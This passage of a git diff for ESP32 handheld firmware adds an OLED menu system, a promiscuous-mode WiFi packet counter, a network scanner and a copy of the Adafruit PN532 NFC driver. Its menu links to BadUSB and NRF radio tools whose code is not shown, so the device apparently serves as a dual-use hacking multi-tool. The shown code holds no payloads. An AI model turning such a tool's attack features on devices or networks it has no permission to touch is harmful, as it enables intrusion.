btnBack(); + if (nowBack && !prevBack) + { + delay(150); + break; + } + prevBack = nowBack; + } + break; + } + + case 6: + runSystemInfoFeature(); + break; + case 7: + device_check_run(); + break; + case 8: + { + // wait for button release + delay(200); + + while (btnSelect()) + delay(10); + bool confirm = false; + + while (1) + { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x13_tr); + + u8g2.drawStr(18, 18, "Restart Device?"); + + if (confirm) + { + u8g2.drawBox(10, 35, 45, 15); + u8g2.setDrawColor(0); + u8g2.drawStr(20, 47, "YES"); + u8g2.setDrawColor(1); + + u8g2.drawStr(75, 47, "NO"); + } + else + { + u8g2.drawStr(20, 47, "YES"); + + u8g2.drawBox(65, 35, 45, 15); + u8g2.setDrawColor(0); + u8g2.drawStr(78, 47, "NO"); + u8g2.setDrawColor(1); + } + + u8g2.sendBuffer(); + + if (btnLeft() || btnUp()) + { + confirm = true; + delay(150); + } + + if (btnRight() || btnDown()) + { + confirm = false; + delay(150); + } + + if (btnSelect()) + { + delay(150); + + if (confirm) + { + u8g2.clearBuffer(); + u8g2.drawStr(28, 30, "Restarting..."); + u8g2.sendBuffer(); + + delay(1000); + ESP.restart(); + } + else + { + break; + } + } + + if (btnBack()) + { + delay(150); + break; + } + } + } + break; + + case 9: + // Begin Ble mouse + bleMouse.begin(); + ble_mouse_run(); + break; + case 10: + pn532_scan_loop(); + break; + } + } + else if (currentMenu == &badusbMenu) + { + badUSBMenu(menuIndex); + } else if (currentMenu == &nrfToolsMenu) { + NRFToolsMenu(menuIndex); + } + + insideFeature = false; + + drawMenu(); +} + +// ================= INIT ================= + +void menuInit() +{ + currentMenu = &mainMenu; + menuIndex = 0; + menuOffset = 0; + + drawMenu(); +} + +// ================= LOOP ================= + +void menuLoop() +{ + static uint32_t lastPress = 0; + + if (insideFeature) + return; + + if (millis() - lastPress < 150) + return; + + if (btnUp()) + { + menuIndex--; + + if (menuIndex < 0) + menuIndex = currentMenu->size - 1; + + drawMenu(); + lastPress = millis(); + } + + else if (btnDown()) + { + menuIndex++; + + if (menuIndex >= currentMenu->size) + menuIndex = 0; + + drawMenu(); + lastPress = millis(); + } + + else if (btnSelect()) + { + launchFeature(); + lastPress = millis(); + } + + else if (btnBack()) + { + if (currentMenu != &mainMenu) + { + currentMenu = &mainMenu; + menuIndex = 0; + menuOffset = 0; + + drawMenu(); + } + + lastPress = millis(); + } +} diff --git a/src/ui/menu.h b/src/ui/menu.h new file mode 100644 index 0000000..c51cd24 --- /dev/null +++ b/src/ui/menu.h @@ -0,0 +1,10 @@ +#pragma once + +struct Menu +{ + const char **items; + int size; +}; + +void menuInit(); +void menuLoop(); diff --git a/src/wifi/wifi_analyzer.cpp b/src/wifi/wifi_analyzer.cpp new file mode 100644 index 0000000..320e826 --- /dev/null +++ b/src/wifi/wifi_analyzer.cpp @@ -0,0 +1,147 @@ +#include +#include +#include + +#include "../ui/display.h" +#include "../buttons.h" + +// ===== CONFIG ===== +#define GRAPH_WIDTH 128 +#define GRAPH_HEIGHT 44 +#define GRAPH_TOP 10 +#define MAX_POINTS 128 +#define SPIKE_THRESHOLD 30 + +// ===== STATE ===== +struct SnifferGraph { + uint8_t graphData[MAX_POINTS]; + uint8_t currentChannel = 1; + volatile uint16_t packetCounter = 0; + unsigned long lastChannelSwitch = 0; + unsigned long lastUpdate = 0; +}; + +static SnifferGraph sniffer; + +// ===== CALLBACK ===== +void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) +{ + if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL) + { + sniffer.packetCounter++; + } +} + +// ===== INIT ===== +void wifi_analyzer_start() +{ + // display init (safe to call again) + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 10, "Starting analyzer..."); + u8g2.sendBuffer(); + + // reset graph + memset(sniffer.graphData, 0, sizeof(sniffer.graphData)); + sniffer.packetCounter = 0; + sniffer.currentChannel = 1; + + // reset WiFi + WiFi.disconnect(true, true); + esp_wifi_stop(); + delay(200); + esp_wifi_deinit(); + + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + esp_wifi_init(&cfg); + esp_wifi_set_storage(WIFI_STORAGE_RAM); + esp_wifi_set_mode(WIFI_MODE_NULL); + esp_wifi_start(); + + esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); + esp_wifi_set_promiscuous_rx_cb(snifferCallback); + esp_wifi_set_promiscuous(true); +} + +// ===== HELPERS ===== +static void switchChannel() +{ + sniffer.currentChannel++; + if (sniffer.currentChannel > 13) sniffer.currentChannel = 1; + + esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); +} + +static void updateGraph(uint8_t value) +{ + for (int i = 0; i < MAX_POINTS - 1; i++) + { + sniffer.graphData[i] = sniffer.graphData[i + 1]; + } + + sniffer.graphData[MAX_POINTS - 1] = value; +} + +static void drawGraph(uint16_t pktCount) +{ + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + + char line1[16]; + char line2[16]; + + sprintf(line1, "Ch:%d", sniffer.currentChannel); + sprintf(line2, "Pkts:%d", pktCount * 5); + + u8g2.drawStr(0, 8, line1); + u8g2.drawStr(60, 8, line2); + + for (int x = 1; x < GRAPH_WIDTH; x++) + { + int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1]; + int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x]; + + u8g2.drawLine(x - 1, y1, x, y2); + } + + if (pktCount >= SPIKE_THRESHOLD) + { + u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT); + } + + u8g2.sendBuffer(); +} + +// ===== LOOP ===== +void wifi_analyzer_loop() +{ + static uint32_t lastPress = 0; + unsigned long now = millis(); + + // channel hopping + if (now - sniffer.lastChannelSwitch >= 1000) + { + sniffer.lastChannelSwitch = now; + switchChannel(); + } + + // graph update + if (now - sniffer.lastUpdate >= 200) + { + sniffer.lastUpdate = now; + + uint16_t pktCount = sniffer.packetCounter; + + uint8_t scaled = pktCount * 2; + uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT); + + updateGraph(value); + drawGraph(pktCount); + + sniffer.packetCounter = 0; + } + + // optional: small debounce to not hammer CPU + if (millis() - lastPress < 10) + return; +} diff --git a/src/wifi/wifi_analyzer.h b/src/wifi/wifi_analyzer.h new file mode 100644 index 0000000..df68284 --- /dev/null +++ b/src/wifi/wifi_analyzer.h @@ -0,0 +1,4 @@ +#pragma once + +void wifi_analyzer_start(); +void wifi_analyzer_loop(); diff --git a/src/wifi/wifi_scan.cpp b/src/wifi/wifi_scan.cpp new file mode 100644 index 0000000..0b20d3d --- /dev/null +++ b/src/wifi/wifi_scan.cpp @@ -0,0 +1,152 @@ +#include +#include +#include "../ui/display.h" +#include "../buttons.h" + +#define MAX_NETWORKS 30 + +struct WiFiNet { + String ssid; + int rssi; + int channel; + bool encrypted; +}; + +static WiFiNet networks[MAX_NETWORKS]; +static int networkCount = 0; +static int selectedIndex = 0; + +// ===== SCAN ===== +void wifi_scan_start() +{ + u8g2.clearBuffer(); + u8g2.drawStr(10, 30, "Scanning WiFi..."); + u8g2.sendBuffer(); + + WiFi.mode(WIFI_STA); + WiFi.disconnect(); + + delay(100); + + int n = WiFi.scanNetworks(); + + networkCount = min(n, MAX_NETWORKS); + + for (int i = 0; i < networkCount; i++) + { + networks[i].ssid = WiFi.SSID(i); + networks[i].rssi = WiFi.RSSI(i); + networks[i].channel = WiFi.channel(i); + networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN); + } + + selectedIndex = 0; +} + +// ===== DRAW ===== +void wifi_scan_draw() +{ + u8g2.clearBuffer(); + + if (networkCount == 0) + { + u8g2.drawStr(0, 30, "No networks"); + u8g2.drawStr(0, 45, "Press BACK"); + } + else + { + char counter[20]; + sprintf(counter, "%d/%d", selectedIndex + 1, networkCount); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 8, counter); + + u8g2.setFont(u8g2_font_6x10_tr); + + for (int i = 0; i < 3; i++) + { + int idx = selectedIndex + i; + if (idx >= networkCount) break; + + int y = 22 + i * 14; + + if (i == 0) + { + u8g2.drawBox(0, y - 10, 128, 12); + u8g2.setDrawColor(0); + } + + String text = networks[idx].ssid; + if (text.length() > 10) + text = text.substring(0, 10) + ".."; + + text += " (" + String(networks[idx].rssi) + ")"; + + u8g2.drawStr(2, y, text.c_str()); + + if (i == 0) + u8g2.setDrawColor(1); + } + } + + u8g2.sendBuffer(); +} + +// ===== DETAILS ===== +void wifi_drawDetails() +{ + if (networkCount == 0) return; + + WiFiNet &net = networks[selectedIndex]; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + + u8g2.drawStr(0, 10, net.ssid.c_str()); + + char rssi[20]; + sprintf(rssi, "RSSI: %d", net.rssi); + u8g2.drawStr(0, 20, rssi); + + char ch[20]; + sprintf(ch, "CH: %d", net.channel); + u8g2.drawStr(0, 30, ch); + + u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open"); + + u8g2.sendBuffer(); +} + +// ===== LOOP ===== +void wifi_scan_loop() +{ + static uint32_t lastPress = 0; + + if (millis() - lastPress < 150) + return; + + if (btnDown() && selectedIndex < networkCount - 1) + { + selectedIndex++; + wifi_scan_draw(); + lastPress = millis(); + } + else if (btnUp() && selectedIndex > 0) + { + selectedIndex--; + wifi_scan_draw(); + lastPress = millis(); + } + else if (btnSelect() && networkCount > 0) + { + wifi_drawDetails(); + delay(3000); + wifi_scan_draw(); + lastPress = millis(); + } +// else if (btnBack()) +// { +// wifi_scan_start(); +// wifi_scan_draw(); +// lastPress = millis(); +// } +} diff --git a/src/wifi/wifi_scan.h b/src/wifi/wifi_scan.h new file mode 100644 index 0000000..902054e --- /dev/null +++ b/src/wifi/wifi_scan.h @@ -0,0 +1,5 @@ +#pragma once + +void wifi_scan_start(); +void wifi_scan_loop(); +void wifi_scan_draw(); diff --git a/test/Adafruit_PN532.cpp b/test/Adafruit_PN532.cpp new file mode 100644 index 0000000..4665656 --- /dev/null +++ b/test/Adafruit_PN532.cpp @@ -0,0 +1,1820 @@ +/**************************************************************************/ +/*! + @file Adafruit_PN532.cpp + + @section intro_sec Introduction + + Driver for NXP's PN532 NFC/13.56MHz RFID Transceiver + + This is a library for the Adafruit PN532 NFC/RFID breakout boards + This library works with the Adafruit NFC breakout + ----> https://www.adafruit.com/products/364 + + Check out the links above for our tutorials and wiring diagrams + These chips use SPI or I2C to communicate. + + Adafruit invests time and resources providing this open source code, + please support Adafruit and open-source hardware by purchasing + products from Adafruit! + + @section author Author + + Adafruit Industries + + @section license License + + BSD (see license.txt) + + @section HISTORY + + v2.2 - Added startPassiveTargetIDDetection() to start card detection and + readDetectedPassiveTargetID() to read it, useful when using the + IRQ pin. + + v2.1 - Added NTAG2xx helper functions + + v2.0 - Refactored to add I2C support from Adafruit_NFCShield_I2C library. + + v1.4 - Added setPassiveActivationRetries() + + v1.2 - Added writeGPIO() + - Added readGPIO() + + v1.1 - Changed readPassiveTargetID() to handle multiple UID sizes + - Added the following helper functions for text display + static void PrintHex(const byte * data, const uint32_t numBytes) + static void PrintHexChar(const byte * pbtData, const uint32_t + numBytes) + - Added the following Mifare Classic functions: + bool mifareclassic_IsFirstBlock (uint32_t uiBlock) + bool mifareclassic_IsTrailerBlock (uint32_t uiBlock) + uint8_t mifareclassic_AuthenticateBlock (uint8_t * uid, uint8_t + uidLen, uint32_t blockNumber, uint8_t keyNumber, uint8_t * keyData) uint8_t + mifareclassic_ReadDataBlock (uint8_t blockNumber, uint8_t * data) uint8_t + mifareclassic_WriteDataBlock (uint8_t blockNumber, uint8_t * data) + - Added the following Mifare Ultalight functions: + uint8_t mifareultralight_ReadPage (uint8_t page, uint8_t * buffer) +*/ +/**************************************************************************/ + +#include "Adafruit_PN532.h" + +byte pn532ack[] = {0x00, 0x00, 0xFF, + 0x00, 0xFF, 0x00}; ///< ACK message from PN532 +byte pn532response_firmwarevers[] = { + 0x00, 0x00, 0xFF, + 0x06, 0xFA, 0xD5}; ///< Expected firmware version message from PN532 + +// Uncomment these lines to enable debug output for PN532(SPI) and/or MIFARE +// related code + +// #define PN532DEBUG +// #define MIFAREDEBUG + +// If using Native Port on Arduino Zero or Due define as SerialUSB +#define PN532DEBUGPRINT Serial ///< Fixed name for debug Serial instance +// #define PN532DEBUGPRINT SerialUSB ///< Fixed name for debug Serial instance + +#define PN532_PACKBUFFSIZ 64 ///< Packet buffer size in bytes +byte pn532_packetbuffer[PN532_PACKBUFFSIZ]; ///< Packet buffer used in various + ///< transactions + +/**************************************************************************/ +/*! + @brief Instantiates a new PN532 class using software SPI. + + @param clk SPI clock pin (SCK) + @param miso SPI MISO pin + @param mosi SPI MOSI pin + @param ss SPI chip select pin (CS/SSEL) +*/ +/**************************************************************************/ +Adafruit_PN532::Adafruit_PN532(uint8_t clk, uint8_t miso, uint8_t mosi, + uint8_t ss) { + _cs = ss; + spi_dev = new Adafruit_SPIDevice(ss, clk, miso, mosi, 1000000, + SPI_BITORDER_LSBFIRST, SPI_MODE0); +} + +/**************************************************************************/ +/*! + @brief Instantiates a new PN532 class using I2C. + + @param irq Location of the IRQ pin + @param reset Location of the RSTPD_N pin + @param theWire pointer to I2C bus to use +*/ +/**************************************************************************/ +Adafruit_PN532::Adafruit_PN532(uint8_t irq, uint8_t reset, TwoWire *theWire) + : _irq(irq), _reset(reset) { + pinMode(_irq, INPUT); + pinMode(_reset, OUTPUT); + i2c_dev = new Adafruit_I2CDevice(PN532_I2C_ADDRESS, theWire); +} + +/**************************************************************************/ +/*! + @brief Instantiates a new PN532 class using hardware SPI. + + @param ss SPI chip select pin (CS/SSEL) + @param theSPI pointer to the SPI bus to use +*/ +/**************************************************************************/ +Adafruit_PN532::Adafruit_PN532(uint8_t ss, SPIClass *theSPI) { + _cs = ss; + spi_dev = new Adafruit_SPIDevice(ss, 1000000, SPI_BITORDER_LSBFIRST, + SPI_MODE0, theSPI); +} + +/**************************************************************************/ +/*! + @brief Instantiates a new PN532 class using hardware UART (HSU). + + @param reset Location of the RSTPD_N pin + @param theSer pointer to HardWare Serial bus to use +*/ +/**************************************************************************/ +Adafruit_PN532::Adafruit_PN532(uint8_t reset, HardwareSerial *theSer) + : _reset(reset) { + pinMode(_reset, OUTPUT); + ser_dev = theSer; +} + +/**************************************************************************/ +/*! + @brief Setups the HW + + @returns true if successful, otherwise false +*/ +/**************************************************************************/ +bool Adafruit_PN532::begin() { + if (spi_dev) { + // SPI initialization + if (!spi_dev->begin()) { + return false; + } + } else if (i2c_dev) { + // I2C initialization + // PN532 will fail address check since its asleep, so suppress + if (!i2c_dev->begin(false)) { + return false; + } + } else if (ser_dev) { + ser_dev->begin(115200); + // clear out anything in read buffer + while (ser_dev->available()) + ser_dev->read(); + } else { + // no interface specified + return false; + } + reset(); // HW reset - put in known state + delay(10); + wakeup(); // hey! wakeup! + return true; +} + +/**************************************************************************/ +/*! + @brief Perform a hardware reset. Requires reset pin to have been provided. +*/ +/**************************************************************************/ +void Adafruit_PN532::reset(void) { + // see Datasheet p.209, Fig.48 for timings + if (_reset != -1) { + digitalWrite(_reset, LOW); + delay(1); // min 20ns + digitalWrite(_reset, HIGH); + delay(2); // max 2ms + } +} + +/**************************************************************************/ +/*! + @brief Wakeup from LowVbat mode into Normal Mode. +*/ +/**************************************************************************/ +void Adafruit_PN532::wakeup(void) { + // interface specific wakeups - each one is unique! + if (spi_dev) { + // hold CS low for 2ms + digitalWrite(_cs, LOW); + delay(2); + } else if (ser_dev) { + uint8_t w[3] = {0x55, 0x00, 0x00}; + ser_dev->write(w, 3); + delay(2); + } + + // PN532 will clock stretch I2C during SAMConfig as a "wakeup" + + // need to config SAM to stay in Normal Mode + SAMConfig(); +} + +/**************************************************************************/ +/*! + @brief Prints a hexadecimal value in plain characters + + @param data Pointer to the byte data + @param numBytes Data length in bytes +*/ +/**************************************************************************/ +void Adafruit_PN532::PrintHex(const byte *data, const uint32_t numBytes) { + uint32_t szPos; + for (szPos = 0; szPos < numBytes; szPos++) { + PN532DEBUGPRINT.print(F("0x")); + // Append leading 0 for small values + if (data[szPos] <= 0xF) + PN532DEBUGPRINT.print(F("0")); + PN532DEBUGPRINT.print(data[szPos] & 0xff, HEX); + if ((numBytes > 1) && (szPos != numBytes - 1)) { + PN532DEBUGPRINT.print(F(" ")); + } + } + PN532DEBUGPRINT.println(); +} + +/**************************************************************************/ +/*! + @brief Prints a hexadecimal value in plain characters, along with + the char equivalents in the following format + + 00 00 00 00 00 00 ...... + + @param data Pointer to the byte data + @param numBytes Data length in bytes +*/ +/**************************************************************************/ +void Adafruit_PN532::PrintHexChar(const byte *data, const uint32_t numBytes) { + uint32_t szPos; + for (szPos = 0; szPos < numBytes; szPos++) { + // Append leading 0 for small values + if (data[szPos] <= 0xF) + PN532DEBUGPRINT.print(F("0")); + PN532DEBUGPRINT.print(data[szPos], HEX); + if ((numBytes > 1) && (szPos != numBytes - 1)) { + PN532DEBUGPRINT.print(F(" ")); + } + } + PN532DEBUGPRINT.print(F(" ")); + for (szPos = 0; szPos < numBytes; szPos++) { + if (data[szPos] <= 0x1F) + PN532DEBUGPRINT.print(F(".")); + else + PN532DEBUGPRINT.print((char)data[szPos]); + } + PN532DEBUGPRINT.println(); +} + +/**************************************************************************/ +/*! + @brief Checks the firmware version of the PN5xx chip + + @returns The chip's firmware version and ID +*/ +/**************************************************************************/ +uint32_t Adafruit_PN532::getFirmwareVersion(void) { + uint32_t response; + + pn532_packetbuffer[0] = PN532_COMMAND_GETFIRMWAREVERSION; + + if (!sendCommandCheckAck(pn532_packetbuffer, 1)) { + return 0; + } + + // read data packet + readdata(pn532_packetbuffer, 13); + + // check some basic stuff + if (0 != memcmp((char *)pn532_packetbuffer, + (char *)pn532response_firmwarevers, 6)) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Firmware doesn't match!")); +#endif + return 0; + } + + int offset = 7; + response = pn532_packetbuffer[offset++]; + response <<= 8; + response |= pn532_packetbuffer[offset++]; + response <<= 8; + response |= pn532_packetbuffer[offset++]; + response <<= 8; + response |= pn532_packetbuffer[offset++]; + + return response; +} + +/**************************************************************************/ +/*! + @brief Sends a command and waits a specified period for the ACK + + @param cmd Pointer to the command buffer + @param cmdlen The size of the command in bytes + @param timeout timeout before giving up + + @returns 1 if everything is OK, 0 if timeout occured before an + ACK was recieved +*/ +/**************************************************************************/ +// default timeout of one second +bool Adafruit_PN532::sendCommandCheckAck(uint8_t *cmd, uint8_t cmdlen, + uint16_t timeout) { + + // I2C works without using IRQ pin by polling for RDY byte + // seems to work best with some delays between transactions + uint8_t SLOWDOWN = 0; + if (i2c_dev || spi_dev) // SPI and I2C need 1ms slow for page reads + SLOWDOWN = 1; + + // write the command + writecommand(cmd, cmdlen); + + // I2C TUNING + delay(SLOWDOWN); + + // Wait for chip to say its ready! + if (!waitready(timeout)) { + return false; + } + +#ifdef PN532DEBUG + if (spi_dev == NULL) { + PN532DEBUGPRINT.println(F("IRQ received")); + } +#endif + + // read acknowledgement + if (!readack()) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("No ACK frame received!")); +#endif + return false; + } + + // I2C TUNING + delay(SLOWDOWN); + + // Wait for chip to say its ready! + if (!waitready(timeout)) { + return false; + } + + return true; // ack'd command +} + +/**************************************************************************/ +/*! + @brief Writes an 8-bit value that sets the state of the PN532's GPIO + pins. + @param pinstate P3 pins state. + + @warning This function is provided exclusively for board testing and + is dangerous since it will throw an error if any pin other + than the ones marked "Can be used as GPIO" are modified! All + pins that can not be used as GPIO should ALWAYS be left high + (value = 1) or the system will become unstable and a HW reset + will be required to recover the PN532. + + pinState[0] = P30 Can be used as GPIO + pinState[1] = P31 Can be used as GPIO + pinState[2] = P32 *** RESERVED (Must be 1!) *** + pinState[3] = P33 Can be used as GPIO + pinState[4] = P34 *** RESERVED (Must be 1!) *** + pinState[5] = P35 Can be used as GPIO + + @return 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +bool Adafruit_PN532::writeGPIO(uint8_t pinstate) { + // uint8_t errorbit; + + // Make sure pinstate does not try to toggle P32 or P34 + pinstate |= (1 << PN532_GPIO_P32) | (1 << PN532_GPIO_P34); + + // Fill command buffer + pn532_packetbuffer[0] = PN532_COMMAND_WRITEGPIO; + pn532_packetbuffer[1] = PN532_GPIO_VALIDATIONBIT | pinstate; // P3 Pins + pn532_packetbuffer[2] = 0x00; // P7 GPIO Pins (not used ... taken by SPI) + +#ifdef PN532DEBUG + PN532DEBUGPRINT.print(F("Writing P3 GPIO: ")); + PN532DEBUGPRINT.println(pn532_packetbuffer[1], HEX); +#endif + + // Send the WRITEGPIO command (0x0E) + if (!sendCommandCheckAck(pn532_packetbuffer, 3)) + return 0x0; + + // Read response packet (00 FF PLEN PLENCHECKSUM D5 CMD+1(0x0F) DATACHECKSUM + // 00) + readdata(pn532_packetbuffer, 8); + +#ifdef PN532DEBUG + PN532DEBUGPRINT.print(F("Received: ")); + PrintHex(pn532_packetbuffer, 8); + PN532DEBUGPRINT.println(); +#endif + + int offset = 6; + return (pn532_packetbuffer[offset] == 0x0F); +} + +/**************************************************************************/ +/*! + Reads the state of the PN532's GPIO pins + + @returns An 8-bit value containing the pin state where: + + pinState[0] = P30 + pinState[1] = P31 + pinState[2] = P32 + pinState[3] = P33 + pinState[4] = P34 + pinState[5] = P35 +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::readGPIO(void) { + pn532_packetbuffer[0] = PN532_COMMAND_READGPIO; + + // Send the READGPIO command (0x0C) + if (!sendCommandCheckAck(pn532_packetbuffer, 1)) + return 0x0; + + // Read response packet (00 FF PLEN PLENCHECKSUM D5 CMD+1(0x0D) P3 P7 IO1 + // DATACHECKSUM 00) + readdata(pn532_packetbuffer, 11); + + /* READGPIO response should be in the following format: + + byte Description + ------------- ------------------------------------------ + b0..5 Frame header and preamble (with I2C there is an extra 0x00) + b6 P3 GPIO Pins + b7 P7 GPIO Pins (not used ... taken by SPI) + b8 Interface Mode Pins (not used ... bus select pins) + b9..10 checksum */ + + int p3offset = 7; + +#ifdef PN532DEBUG + PN532DEBUGPRINT.print(F("Received: ")); + PrintHex(pn532_packetbuffer, 11); + PN532DEBUGPRINT.println(); + PN532DEBUGPRINT.print(F("P3 GPIO: 0x")); + PN532DEBUGPRINT.println(pn532_packetbuffer[p3offset], HEX); + PN532DEBUGPRINT.print(F("P7 GPIO: 0x")); + PN532DEBUGPRINT.println(pn532_packetbuffer[p3offset + 1], HEX); + PN532DEBUGPRINT.print(F("IO GPIO: 0x")); + PN532DEBUGPRINT.println(pn532_packetbuffer[p3offset + 2], HEX); + // Note: You can use the IO GPIO value to detect the serial bus being used + switch (pn532_packetbuffer[p3offset + 2]) { + case 0x00: // Using UART + PN532DEBUGPRINT.println(F("Using UART (IO = 0x00)")); + break; + case 0x01: // Using I2C + PN532DEBUGPRINT.println(F("Using I2C (IO = 0x01)")); + break; + case 0x02: // Using SPI + PN532DEBUGPRINT.println(F("Using SPI (IO = 0x02)")); + break; + } +#endif + + return pn532_packetbuffer[p3offset]; +} + +/**************************************************************************/ +/*! + @brief Configures the SAM (Secure Access Module) + @return true on success, false otherwise. +*/ +/**************************************************************************/ +bool Adafruit_PN532::SAMConfig(void) { + pn532_packetbuffer[0] = PN532_COMMAND_SAMCONFIGURATION; + pn532_packetbuffer[1] = 0x01; // normal mode; + pn532_packetbuffer[2] = 0x14; // timeout 50ms * 20 = 1 second + pn532_packetbuffer[3] = 0x01; // use IRQ pin! + + if (!sendCommandCheckAck(pn532_packetbuffer, 4)) + return false; + + // read data packet + readdata(pn532_packetbuffer, 9); + + int offset = 6; + return (pn532_packetbuffer[offset] == 0x15); +} + +/**************************************************************************/ +/*! + Sets the MxRtyPassiveActivation byte of the RFConfiguration register + + @param maxRetries 0xFF to wait forever, 0x00..0xFE to timeout + after mxRetries + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +bool Adafruit_PN532::setPassiveActivationRetries(uint8_t maxRetries) { + pn532_packetbuffer[0] = PN532_COMMAND_RFCONFIGURATION; + pn532_packetbuffer[1] = 5; // Config item 5 (MaxRetries) + pn532_packetbuffer[2] = 0xFF; // MxRtyATR (default = 0xFF) + pn532_packetbuffer[3] = 0x01; // MxRtyPSL (default = 0x01) + pn532_packetbuffer[4] = maxRetries; + +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Setting MxRtyPassiveActivation to ")); + PN532DEBUGPRINT.print(maxRetries, DEC); + PN532DEBUGPRINT.println(F(" ")); +#endif + + if (!sendCommandCheckAck(pn532_packetbuffer, 5)) + return 0x0; // no ACK + + return 1; +} + +/***** ISO14443A Commands ******/ + +/**************************************************************************/ +/*! + @brief Waits for an ISO14443A target to enter the field and reads + its ID. + + @param cardbaudrate Baud rate of the card + @param uid Pointer to the array that will be populated + with the card's UID (up to 7 bytes) + @param uidLength Pointer to the variable that will hold the + length of the card's UID. + @param timeout Timeout in milliseconds. + + @return 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +bool Adafruit_PN532::readPassiveTargetID(uint8_t cardbaudrate, uint8_t *uid, + uint8_t *uidLength, uint16_t timeout) { + pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET; + pn532_packetbuffer[1] = 1; // max 1 cards at once (we can set this to 2 later) + pn532_packetbuffer[2] = cardbaudrate; + + if (!sendCommandCheckAck(pn532_packetbuffer, 3, timeout)) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("No card(s) read")); +#endif + return 0x0; // no cards read + } + + return readDetectedPassiveTargetID(uid, uidLength); +} + +/**************************************************************************/ +/*! + @brief Put the reader in detection mode, non blocking so interrupts + must be enabled. + @param cardbaudrate Baud rate of the card + @return 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +bool Adafruit_PN532::startPassiveTargetIDDetection(uint8_t cardbaudrate) { + pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET; + pn532_packetbuffer[1] = 1; // max 1 cards at once (we can set this to 2 later) + pn532_packetbuffer[2] = cardbaudrate; + + return sendCommandCheckAck(pn532_packetbuffer, 3); +} + +/**************************************************************************/ +/*! + Reads the ID of the passive target the reader has deteceted. + + @param uid Pointer to the array that will be populated + with the card's UID (up to 7 bytes) + @param uidLength Pointer to the variable that will hold the + length of the card's UID. + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +bool Adafruit_PN532::readDetectedPassiveTargetID(uint8_t *uid, + uint8_t *uidLength) { + // read data packet + readdata(pn532_packetbuffer, 20); + // check some basic stuff + + /* ISO14443A card response should be in the following format: + + byte Description + ------------- ------------------------------------------ + b0..6 Frame header and preamble + b7 Tags Found + b8 Tag Number (only one used in this example) + b9..10 SENS_RES + b11 SEL_RES + b12 NFCID Length + b13..NFCIDLen NFCID */ + +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Found ")); + PN532DEBUGPRINT.print(pn532_packetbuffer[7], DEC); + PN532DEBUGPRINT.println(F(" tags")); +#endif + if (pn532_packetbuffer[7] != 1) + return 0; + + uint16_t sens_res = pn532_packetbuffer[9]; + sens_res <<= 8; + sens_res |= pn532_packetbuffer[10]; +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("ATQA: 0x")); + PN532DEBUGPRINT.println(sens_res, HEX); + PN532DEBUGPRINT.print(F("SAK: 0x")); + PN532DEBUGPRINT.println(pn532_packetbuffer[11], HEX); +#endif + + /* Card appears to be Mifare Classic */ + *uidLength = pn532_packetbuffer[12]; +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("UID:")); +#endif + for (uint8_t i = 0; i < pn532_packetbuffer[12]; i++) { + uid[i] = pn532_packetbuffer[13 + i]; +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F(" 0x")); + PN532DEBUGPRINT.print(uid[i], HEX); +#endif + } +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(); +#endif + + return 1; +} + +/**************************************************************************/ +/*! + @brief Exchanges an APDU with the currently inlisted peer + + @param send Pointer to data to send + @param sendLength Length of the data to send + @param response Pointer to response data + @param responseLength Pointer to the response data length + @return true on success, false otherwise. +*/ +/**************************************************************************/ +bool Adafruit_PN532::inDataExchange(uint8_t *send, uint8_t sendLength, + uint8_t *response, + uint8_t *responseLength) { + if (sendLength > PN532_PACKBUFFSIZ - 2) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("APDU length too long for packet buffer")); +#endif + return false; + } + uint8_t i; + + pn532_packetbuffer[0] = 0x40; // PN532_COMMAND_INDATAEXCHANGE; + pn532_packetbuffer[1] = _inListedTag; + for (i = 0; i < sendLength; ++i) { + pn532_packetbuffer[i + 2] = send[i]; + } + + if (!sendCommandCheckAck(pn532_packetbuffer, sendLength + 2, 1000)) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Could not send APDU")); +#endif + return false; + } + + if (!waitready(1000)) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Response never received for APDU...")); +#endif + return false; + } + + readdata(pn532_packetbuffer, sizeof(pn532_packetbuffer)); + + if (pn532_packetbuffer[0] == 0 && pn532_packetbuffer[1] == 0 && + pn532_packetbuffer[2] == 0xff) { + uint8_t length = pn532_packetbuffer[3]; + if (pn532_packetbuffer[4] != (uint8_t)(~length + 1)) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Length check invalid")); + PN532DEBUGPRINT.println(length, HEX); + 